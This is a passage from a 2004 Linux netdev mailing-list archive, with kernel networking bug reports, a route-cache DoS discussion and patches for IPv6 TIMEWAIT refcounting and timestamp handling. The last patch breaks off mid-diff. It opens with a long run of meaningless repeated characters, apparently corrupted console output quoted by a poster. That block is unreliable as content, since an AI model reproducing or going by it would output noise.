aN))v_NE) )G_= ) Mp.Eiep.(f/i& tpised (er aN))v_NE) ) ==1) Mp.EEep.(f/i& t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEed.(f/i& tpised (er aN))v_NE) )G_= ) MpPEiep.(f/i&(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.cf/i& tpiped (er aNE)v_NE) ) ==1) Mp.EEep.(f/i& tpiped (er aN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.(fli& tpiper a(er aNE) _nE) ) _= ) Mp.EEed.cf/i& tpiped (er aN))v_NE) )G_= ) Mp.EEep.(f/i& tpised (er RN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised sed RN))v_NK)5)G_= ) Mp.EEed.cflip tpiper a(er aNE) _NE) ) _= ) Mp.EEed.(f/i& tpiped (er aNE)v_NE) ) ==1) Mp.EEep.(f/i& t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(f/ &(t/ised sed RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiper (er aNE) _NE) ) ==1) Mp.EEed.(f/i& tpised (er RN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpiped (er aN))v_NE) ) ==1) Mp.Eiep.(f/i&(t/ised (ed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpised (er RN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised| sed R))cvRNK)5)G==1) Mp.Eiep.(f/i& tpised (ed RN))v_NE)5)G_= ) cpPEiep.(f/i&(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.cf/i& tpiped (er RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised sed RN))vRNK)5)G_=1) Mp.EEep.(f/i& tpised (er aN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpiped (er aNE) _NE) ) _= ) Mp.EEep.(f/i& tpiped (er aNE)v_NE) ) _=1) Mp.EEep.(f/i& tpised (er aN))v_NE) ) ==1) Mp.EEed.(f/i& tpised (er RN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised (ed RN))v_NK)5)G_=1) Mp.EEed.cf/i& tpiper (er aN))v_NE) ) ==1) Mp.EEed.(f/i& tpiped (er aNE)v_NE) ) ==1) Mp.EEed.(f/i& tpised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (ed RN))v_NE)5)G_= ) MpPEiep.(f/i&(t/ised| sed RN))vRNK)5)G_= ) Mp.EEep.(f/i& tpised (er aN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (ed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpised (er aN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.Eiep.(f/i& t/ised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpiped (er aNE)v_NE) ) ==1) Mp.Eiep.(f/i&(t/ised (ed RN))v_NE)5)G_= ) MpPEiep.(f/i&(t/ised (ed RN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEed.(f/i& tpiped (er aN))v_NE) )G_= ) MpPEiep.(f/i&(t/ised (ed RN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (er RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEed.(f/i& tpiped (er aN))v_NE) ) ==1) Mp.Eiep.(f/i& t/ised (er RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiper (er aNE)v_NE) ) ==1) Mp.Eiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpised (er aN))v_NE) )G_= ) MpPEiep.(f/i&(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpiped (er aN))v_NE) ) ==1) Mp.EEep.(f/i& t/ised (ed RN))v_NE)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN))vRNK)5)G_=1) Mp.EEed.(f/i& tpised (ed RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised| sed RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiper (er aNE) _NE) ) _=1) Mp.EEed.(f/i& t/ised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (ed RN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEed.cf/i& tpiped (er aN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.cf/i& tpiped (er aN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (er RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEep.(f/i& tpised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i& tpised (er RN))v_NE)5)G_= ) MpPEiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) cpPEiep (t/ &(t/ssed| sedER))cvRNK)5SG==1) MpPEiep.(f/i&(t/ised (ed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpiped (er aN))v_NE) ) ==1) Mp.Eiep.(f/i& t/ised (er aN))v_NE) ) ==1) MpPEiep.(f/i&(t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN))vRNK)5)G_=1) Mp.EEed.(f/i& tpiped (er aNE)v_NE) ) _=1) Mp.EEed.(f/i& tpised (er aN))v_NE) ) _=1) Mp.EEep.(f/i& tpised (er aN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised| sed RN))vRNK)5)G_=1) Mp.EEep.(f/i& tpiped (er aN))v_NE) ) ==1) Mp.Eiep.(f/i& t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN)cvRNK)5)G==1) Mp.EEep.(f/i& tpised (er RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiper a(er aNE) _NE) ) _=1) Mp.EEep.(f/i& tpised (er aN))v_NE) ) _=1) Mp.EEed.cf/i& tpiped (er aNE)v_NE) ) _=1) Mp.EEed.(f/i& tpised (er aN))v_NE) ) ==1) Mp.EEep.(f/i& t/ised (er RN))v_NE)5)G_= ) MpPEiep.(f/i&(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (er RN))v_NE) ) ==1) Mp.EEep.(f/i& t/ised (er RN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised| sed RN))vRNK)5)G_=1) Mp.EEed.(f/i& tpiped (er aN)) _nEL ) _= ) cpPEiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiped (er aNE) _NE) ) _=1) Mp.EEed.(f/i& tpised (er aN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised| sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpiped (er aN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised (ed RN))vRNK)5)G_= ) Mp.EEed.cf/i& tpiper (er aNE)v_NE) ) ==1) Mp.EEep.(f/i& t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEep.(f/i& tpiped (er RN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (er RN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised sed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpised (er aN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised sed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpised (er RN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpiped (er aN))v_NE) ) ==1) Mp.Eiep.(f/i& t/ised (er aN))v_NE) ) ==1) Mp.Eiep.(f/i&(t/ised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (ed RN))v_NE) )G_= ) MpPEiep.(f/i&(t/ised (ed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (er RN))v_NE) ) ==1) Mp.Eiep.(f/i& t/ised (ed RN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_=1) Mp.EEep.(f/i& tpised (er aN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_=1) Mp.EEed.cf/i& tpiped (er aNE)v_NE) ) _=1) Mp.Eiep.(f/i& t/ised (er RN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised| sed RN))vRNK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN))vRNK)5)G_=1) Mp.EEep.(f/i& tpised (er RN))v_NE)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEep.(f/i& t/ised (ed RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpised (er aNE)v_NE) ) _=1) Mp.EEep.(f/i& tpised (er aN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (ed RN))vRNK)5)G_= ) Mp.EEed.cf/i& tpiper (er aNE)v_NE) ) _=1) Mp.EEed.cf/i& tpiper (er aN))v_NE) ) ==1) Mp.Eiep.(f/i&(t/ised (er RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_=1) Mp.EEed.(f/i& t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised sed RN))v_NK)5)G_=1) Mp.EEep.(f/i& tpised (er aN))v_NE) ) ==1) Mp.Eiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed R))cvRNK)5)G_=1) Mp.EEed.(f/i& tpised (er RN))v_NE) ) ==1) Mp.EEep.(f/i& t/ised (ed RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.cf/i& tpiped (er aN))v_NE) )G_= ) MpPEiep.(f/i& t/ised sed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpiped (er aN))v_NE) ) ==1) Mp.EEep.(f/i& tpised (er aN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (ed RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G==1) Mp.EEep.(f/i& t/ised (er RN))v_NE) )G_= ) MpPEiep.(f/i& t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEep.(f/i& tpiped (er aN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (ed RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (ed RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G_= ) cpPEiep.(t/ &(t/ised (ed RN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (ed RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiped (er aN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (ed RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiped (er aN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (er RN))v_NE)5)G_= ) MpPEiep.(f/i&(t/ised (ed RN))v_NK)5)G_= ) cpPEiep (t/ &(t/ised| sed RN)cvRNK)5)G==1) Mp.EEep.(f/i& t/ised (er RN))v_NE)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpiped (er aN))v_NE) )G_= ) Mp.EEep.(f/i& t/ised (ed RN))v_NE)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed R))cvRNK)5SG==1) Mp.Eiep.(f/i& t/ised (er aN))v_NE) ) ==1) Mp.Eiep.(f/i& t/ised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i& tpised (er aN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN)cvRNK)5)G_=1) Mp.EEep.(f/i& tpiped (er RN))v_NE) )G_= ) Mp.Eiep.(f/i& t/ised (er aN))v_NE) )G_= ) Mp.Eiep.(f/i& tpised (er aN))v_NE) )G_= ) MpPEiep.(f/ &(t/ised| sed RN))vRNK)5)G==1) Mp.Eiep.(f/i& t/ised (ed RN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G==1) Mp.EEep.(f/i& tpised (er RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.cf/i& tpiper (er aNE)v_NE) ) ==1) Mp.EEep.(f/i& t/ised (ed RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiper (er aNE) _NE) ) _=1) Mp.EEed.cf/i& tpiped (er aNE) _NE) ) _= ) Mp.EEed.(f/i& tpiped (er aNE) _NE) ) ==1) Mp.Eiep.(f/i& t/ised (er RN))v_NE) )G_= ) MpPEiep.(f/i&(t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN)) failed at net/ipv4/tcp.c (1635) after the blackout, output returns to normal From christopherc@team.outblaze.com Tue Mar 30 22:08:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 22:08:37 -0800 (PST) Received: from corpmail.outblaze.com (corpmail.outblaze.com [203.86.166.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V68ZKO005244 for ; Tue, 30 Mar 2004 22:08:35 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by corpmail.outblaze.com (Postfix) with ESMTP id 8395837B88 for ; Wed, 31 Mar 2004 06:08:35 +0000 (GMT) Received: from smtp1.hk1.outblaze.com (smtp1.hk1.outblaze.com [203.86.166.80]) by corpmail.outblaze.com (Postfix) with SMTP id 4574016DD86 for ; Wed, 31 Mar 2004 06:08:35 +0000 (GMT) Received: (qmail 9102 invoked from network); 31 Mar 2004 06:08:29 -0000 Received: from unknown (HELO outblaze.com) (christopherc@team.outblaze.com@210.177.227.130) by smtp1.hk1.outblaze.com with SMTP; 31 Mar 2004 06:08:29 -0000 Message-ID: <406A60A6.7070607@outblaze.com> Date: Wed, 31 Mar 2004 14:09:42 +0800 From: Christopher Chan User-Agent: Mozilla Thunderbird 0.5 (X11/20040208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: network unavailable (3) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.11; VAE: 6.24.0.7; VDF: 6.24.0.76; host: corpmail.outblaze.com) X-archive-position: 4371 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cchan@outblaze.com Precedence: bulk X-list: netdev Content-Length: 189 Lines: 10 On the console, I now get a whole bunch of them logs messages about assertion and an occasional dst cache overflow 5-6k messages suppressed where 5-6 = any number between 5000 and 7000 From niv@us.ibm.com Tue Mar 30 23:03:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 23:03:19 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V73AKO008032 for ; Tue, 30 Mar 2004 23:03:17 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2V7359x542732; Wed, 31 Mar 2004 02:03:05 -0500 Received: from us.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2V733s7081188; Wed, 31 Mar 2004 00:03:04 -0700 Message-ID: <406A6C8C.1000603@us.ibm.com> Date: Tue, 30 Mar 2004 23:00:28 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Miller CC: netdev Subject: [PATCH 2.4] reference count clean up continued - IPv6 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4372 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 628 Lines: 21 Continuing the reference count clean up, this time in tcp_v6_rcv(). We should not be doing a sock_put() on a socket in TIMEWAIT state. Applies to 2.4.25+. thanks, Nivedita diff -urN linux-2.4.25/net/ipv6/tcp_ipv6.c linux-2.4.25mc6/net/ipv6/tcp_ipv6.c --- linux-2.4.25/net/ipv6/tcp_ipv6.c 2003-11-28 10:26:21.000000000 -0800 +++ linux-2.4.25mc6/net/ipv6/tcp_ipv6.c 2004-03-30 02:07:05.000000000 -0800 @@ -1647,7 +1647,7 @@ do_time_wait: if (skb->len < (th->doff<<2) || tcp_checksum_complete(skb)) { TCP_INC_STATS_BH(TcpInErrs); - sock_put(sk); + tcp_tw_put((struct tcp_tw_bucket *) sk); goto discard_it; } From dipankar@in.ibm.com Tue Mar 30 23:38:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 23:38:21 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V7cDKO009285 for ; Tue, 30 Mar 2004 23:38:14 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2V7bG9x291750; Wed, 31 Mar 2004 02:37:16 -0500 Received: from soprano.in.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2V7b6qJ378828; Wed, 31 Mar 2004 00:37:15 -0700 Received: by soprano.in.ibm.com (Postfix, from userid 500) id 17E2A7C52A; Wed, 31 Mar 2004 13:06:31 +0530 (IST) Date: Wed, 31 Mar 2004 13:06:30 +0530 From: Dipankar Sarma To: Robert Olsson Cc: Andrea Arcangeli , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: Re: route cache DoS testing and softirqs Message-ID: <20040331073630.GA3681@in.ibm.com> Reply-To: dipankar@in.ibm.com References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> <20040330144324.GA3778@in.ibm.com> <20040330195315.GB3773@in.ibm.com> <20040330204731.GG3808@dualathlon.random> <16489.59080.303710.986410@robur.slu.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16489.59080.303710.986410@robur.slu.se> User-Agent: Mutt/1.4.1i X-archive-position: 4373 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 1212 Lines: 26 On Tue, Mar 30, 2004 at 11:29:44PM +0200, Robert Olsson wrote: > Andrea Arcangeli writes: > > I see what's going on now, yes my patch cannot help. the workload is > > simply generating too much hardirq load, and it's like if we don't use > > softirq at all but that we process the packet inside the hardirq for > > this matter. As far as RCU is concerned it's like if there a no softirq > > at all but that we process everything in the hardirq. > > > > so what you're looking after is a new feature then: > > > > 1) rate limit the hardirqs > > 2) rate limit only part of the irq load (i.e. the softirq, that's handy > > since it's already splitted out) to scheduler-aware context (not > > inside irq context anymore) > > 3) stop processing packets in irqs in the first place (NAPI or similar) > > No Andrea it pure softirq workload. Interfaces runs with irq disabled > at this load w. NAPI. Softirq's are run from spin_unlock_bh etc when > doing route lookup and GC. And the more fine-grained locking we do the > the more do_softirq's are run. Not lookup, we don't take the lock in lookup. Probably route insertions which will happen very frequently in this case. Thanks Dipankar From christopherc@team.outblaze.com Wed Mar 31 02:27:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 02:27:54 -0800 (PST) Received: from corpmail.outblaze.com (corpmail.outblaze.com [203.86.166.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VARfKO018880 for ; Wed, 31 Mar 2004 02:27:42 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by corpmail.outblaze.com (Postfix) with ESMTP id 44F7B37BD9 for ; Wed, 31 Mar 2004 10:27:42 +0000 (GMT) Received: from smtp1.hk1.outblaze.com (smtp1.hk1.outblaze.com [203.86.166.80]) by corpmail.outblaze.com (Postfix) with SMTP id E348D16DD83 for ; Wed, 31 Mar 2004 10:27:41 +0000 (GMT) Received: (qmail 6379 invoked from network); 31 Mar 2004 10:27:35 -0000 Received: from unknown (HELO outblaze.com) (christopherc@team.outblaze.com@210.177.227.130) by smtp1.hk1.outblaze.com with SMTP; 31 Mar 2004 10:27:35 -0000 Message-ID: <406A9D61.5020307@outblaze.com> Date: Wed, 31 Mar 2004 18:28:49 +0800 From: Christopher Chan User-Agent: Mozilla Thunderbird 0.5 (X11/20040208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: dst cache overflow (was network unavailable series) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.11; VAE: 6.24.0.7; VDF: 6.24.0.77; host: corpmail.outblaze.com) X-archive-position: 4374 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cchan@outblaze.com Precedence: bulk X-list: netdev Content-Length: 101 Lines: 4 Increasing net/ipv4/route/gc_thresh seems to have resolved the problem default: 8192 current: 65535 From ak@muc.de Wed Mar 31 04:01:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 31 Mar 2004 04:01:26 -0800 (PST) Received: from zero.aec.at (Jogo_Tyree@zero.aec.at [193.170.194.10]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2VC18KO023909 for ; Wed, 31 Mar 2004 04:01:09 -0800 Received: from averell.firstfloor.org.muc.de (Mowbray_Myles@localhost.localdomain [127.0.0.1]) by zero.aec.at (8.11.6/8.11.2) with ESMTP id i2VC13D19579 for ; Wed, 31 Mar 2004 14:01:04 +0200 Date: Wed, 31 Mar 2004 14:01:03 +0200 Message-Id: <200403311201.i2VC13D19579@zero.aec.at> From: Andi Kleen To: netdev@oss.sgi.com Subject: [PATCH] Avoid gettimeofday when not needed X-archive-position: 4375 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev Content-Length: 18130 Lines: 546 This patch implements an optimization I proposed a long time ago. gettimeofday can be quite costly and it currently is on the fast path of every packet. Normally the packet time stamp is not needed (e.g. TCP doesn't use it), except for tcpdump and a few applications. This patch adds a global counter that is enabled only when some socket is interested in time stamps. There is a small race window after enabling the timestamp when there are already packets queued without timestamp. In this case just the current time is filled in. For simplicity the counter is only decremented after the socket has been destroyed again. sunrpc was using the timestamp too, but I just changed it to use xtime (which is accurate enough and true end2end latency including host latencies is better anyways) The patch deletes nearly as much code as it adds because it cleans up a lot of duplicated code in various socket disciplines. I didn't benchmark much (mostly because all my machines have quite fast gettimeofday), some feedback on how much it helps would be appreciated (especially on machines with slow gettimeofday, like IBM summit or Altix) One warning: bind9 seems to enable the time stamp. If you do benchmarks kill the name server. This should be probably fixed in user space. Most of the patch is quite straight forward, except for the change in the v4/v6 proxy arp code. I assume it was checking the time stamp to distingush locally originated packets from external packets (?). I changed it to use skb->sk instead. I'm not 100% sure if I guessed the intention correctly and don't know why it should check that anyways. Someone should review that change. -Andi diff -u linux-2.6.5rc3-averell/include/net/sock.h-T linux-2.6.5rc3-averell/include/net/sock.h --- linux-2.6.5rc3-averell/include/net/sock.h-T 2004-03-21 21:11:55.000000000 +0100 +++ linux-2.6.5rc3-averell/include/net/sock.h 2004-03-31 09:44:02.000000000 +0200 @@ -382,6 +382,7 @@ SOCK_LINGER, SOCK_DESTROY, SOCK_BROADCAST, + SOCK_TIMESTAMP, }; static inline void sock_set_flag(struct sock *sk, enum sock_flags flag) @@ -1023,11 +1024,33 @@ static __inline__ void sock_recv_timestamp(struct msghdr *msg, struct sock *sk, struct sk_buff *skb) { - if (sk->sk_rcvtstamp) - put_cmsg(msg, SOL_SOCKET, SO_TIMESTAMP, sizeof(skb->stamp), &skb->stamp); - else - sk->sk_stamp = skb->stamp; -} + struct timeval *stamp = &skb->stamp; + if (sk->sk_rcvtstamp) { + /* Race occurred between timestamp enabling and packet + receiving. Fill in the current time for now. */ + if (stamp->tv_sec == 0) + do_gettimeofday(stamp); + put_cmsg(msg, SOL_SOCKET, SO_TIMESTAMP, sizeof(struct timeval), + stamp); + } else + sk->sk_stamp = *stamp; +} + +extern atomic_t netstamp_needed; +extern void sock_enable_timestamp(struct sock *sk); +extern void sock_disable_timestamp(struct sock *sk); + +static inline void net_timestamp(struct timeval *stamp) +{ + if (atomic_read(&netstamp_needed)) + do_gettimeofday(stamp); + else { + stamp->tv_sec = 0; + stamp->tv_usec = 0; + } +} + +extern int sock_get_timestamp(struct sock *, struct timeval *); /* * Enable debug/info messages diff -u linux-2.6.5rc3-averell/net/core/sock.c-T linux-2.6.5rc3-averell/net/core/sock.c --- linux-2.6.5rc3-averell/net/core/sock.c-T 1970-01-01 01:12:51.000000000 +0100 +++ linux-2.6.5rc3-averell/net/core/sock.c 2004-03-31 13:45:57.000000000 +0200 @@ -328,6 +328,8 @@ case SO_TIMESTAMP: sk->sk_rcvtstamp = valbool; + if (valbool) + sock_enable_timestamp(sk); break; case SO_RCVLOWAT: @@ -642,6 +644,8 @@ sk->sk_filter = NULL; } + sock_disable_timestamp(sk); + if (atomic_read(&sk->sk_omem_alloc)) printk(KERN_DEBUG "%s: optmem leakage (%d bytes) detected.\n", __FUNCTION__, atomic_read(&sk->sk_omem_alloc)); @@ -1135,6 +1139,9 @@ sk->sk_sndtimeo = MAX_SCHEDULE_TIMEOUT; sk->sk_owner = NULL; + sk->sk_stamp.tv_sec = -1L; + sk->sk_stamp.tv_usec = -1L; + atomic_set(&sk->sk_refcnt, 1); } @@ -1160,9 +1167,42 @@ wake_up(&(sk->sk_lock.wq)); spin_unlock_bh(&(sk->sk_lock.slock)); } - EXPORT_SYMBOL(release_sock); +/* When > 0 there are consumers of rx skb time stamps */ +atomic_t netstamp_needed = ATOMIC_INIT(0); + +int sock_get_timestamp(struct sock *sk, struct timeval *userstamp) +{ + if (!sock_flag(sk, SOCK_TIMESTAMP)) + sock_enable_timestamp(sk); + if (sk->sk_stamp.tv_sec == -1) + return -ENOENT; + if (sk->sk_stamp.tv_sec == 0) + do_gettimeofday(&sk->sk_stamp); + return copy_to_user(userstamp, &sk->sk_stamp, sizeof(struct timeval)) ? + -EFAULT : 0; +} +EXPORT_SYMBOL(sock_get_timestamp); + +void sock_enable_timestamp(struct sock *sk) +{ + if (!sock_flag(sk, SOCK_TIMESTAMP)) { + sock_set_flag(sk, SOCK_TIMESTAMP); + atomic_inc(&netstamp_needed); + } +} +EXPORT_SYMBOL(sock_enable_timestamp); + +void sock_disable_timestamp(struct sock *sk) +{ + if (sock_flag(sk, SOCK_TIMESTAMP)) { + sock_reset_flag(sk, SOCK_TIMESTAMP); + atomic_dec(&netstamp_needed); + } +} +EXPORT_SYMBOL(sock_disable_timestamp); + EXPORT_SYMBOL(__lock_sock); EXPORT_SYMBOL(__release_sock); EXPORT_SYMBOL(sk_alloc); diff -u linux-2.6.5rc3-averell/net/core/dev.c-T linux-2.6.5rc3-averell/net/core/dev.c --- linux-2.6.5rc3-averell/net/core/dev.c-T 2004-03-22 01:28:39.000000000 +0100 +++ linux-2.6.5rc3-averell/net/core/dev.c 2004-03-31 09:44:02.000000000 +0200 @@ -1125,7 +1125,7 @@ void dev_queue_xmit_nit(struct sk_buff *skb, struct net_device *dev) { struct packet_type *ptype; - do_gettimeofday(&skb->stamp); + net_timestamp(&skb->stamp); rcu_read_lock(); list_for_each_entry_rcu(ptype, &ptype_all, list) { @@ -1546,9 +1546,9 @@ return NET_RX_DROP; } #endif - + if (!skb->stamp.tv_sec) - do_gettimeofday(&skb->stamp); + net_timestamp(&skb->stamp); /* * The code is rearranged so that the path is the most @@ -1710,7 +1710,7 @@ #endif if (!skb->stamp.tv_sec) - do_gettimeofday(&skb->stamp); + net_timestamp(&skb->stamp); skb_bond(skb); diff -u linux-2.6.5rc3-averell/net/ipv4/af_inet.c-T linux-2.6.5rc3-averell/net/ipv4/af_inet.c --- linux-2.6.5rc3-averell/net/ipv4/af_inet.c-T 1970-01-01 01:12:51.000000000 +0100 +++ linux-2.6.5rc3-averell/net/ipv4/af_inet.c 2004-03-31 09:44:02.000000000 +0200 @@ -843,11 +843,7 